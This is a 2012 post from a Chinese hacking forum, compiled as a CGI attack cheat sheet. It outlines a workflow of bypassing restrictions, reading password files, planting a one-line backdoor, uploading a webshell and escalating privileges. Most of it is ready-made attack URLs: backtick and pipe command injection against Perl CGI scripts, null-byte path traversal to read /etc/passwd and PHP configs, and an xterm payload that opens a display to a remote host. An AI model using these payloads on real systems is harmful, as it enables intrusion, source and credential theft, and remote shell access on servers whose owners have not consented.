找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2720|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  3 }' N0 c& N: g2 ^/ z) @
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
; K6 B1 u& `/ U# T7 E7 j& e, \  Y+ u, S% h感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  # W( t* ~$ X( F4 h1 D5 E) }, i4 t
注“  ; X) H: f$ e, A- z/ L5 C
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  7 ^  p6 L' G4 `" w4 k! u1 E- t
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
; P1 J8 A/ p! y$ M" Y7 {8 }
% [0 S9 v% P( W: K' k& p5 Y  r7 [1 Whttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  9 p# V8 E$ i- F& S; Z/ u2 W
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  3 g7 S( ~% C4 d8 S6 n7 [( C' B
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  4 \! L1 y; E7 U2 u9 d' f
http://target.com/cgi-bin/home/news/sub.pl?`id`  
$ S; q+ i( e8 fhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  3 ^5 }; J9 n! [5 t6 [! _% E
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  8 ^- }3 l2 ~/ r% ^' I

1 `7 T/ B" P, e$ w, U, |* Ehttp://target.com/test.pl;ls|  
0 l* E1 f+ ^+ W# D2 H) M2 Jhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
) |9 z( H, H/ l9 B8 y* vhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
8 n3 b; O/ J- }; T% w0 bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ! x$ R: ?2 U* `8 {& P, T! Y% p& q
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
  s) f$ ^+ S* lhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
. S3 F/ ^% |1 F/ Q: E# y
/ V3 \" `4 T9 h, q7 S  R* v* a  K: dhttp://target.com/test.pl?&........ /../../etc/passwd  ) b7 {5 X3 {. P2 J0 f- M) ^8 Z

# H9 u' j3 e; }$ v/ uhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  1 }0 j7 ~4 S8 C
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  & j7 ^: K) T, R
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  . a+ O4 A4 }* r- P$ U

9 a& n$ ~5 q4 T- Uhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  4 |# Q( C! l* V& I+ i! o
http://www.target.org/show.php?f ... ng/admin/global.php  3 u, b- }' `; d

0 x2 y: |& A6 _7 J5 B, A. e" Oemm和ps的一句话
2 r* O" A( R! g: H2 b
2 i8 k( F, {5 r  khttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  " G# S1 A$ X! ?7 a" ]' V
! ^. u: N' D! U
>bbb%20|  % M9 ?( s7 Q. G! W3 D/ S$ P: |) w
& ^; S8 D) O! A3 T. I* y
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  ) Y! n! q  \! b
  P" T. i9 W- l+ h
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  1 \$ a' {# O1 i
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
  \" U3 p9 T" M# u  ?) }( O, H/ a# n! B( u
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  & L; ~9 P8 \% v9 }' p
http://target.com/index.html#cmd.exe  , o3 \) W5 x2 r7 a& l; m/ o5 F
http://target.com/index.html?dummyparam=xp_cmdshell  9 {6 M7 V" F* z) ]$ b( t
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  , {" K' q* E9 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表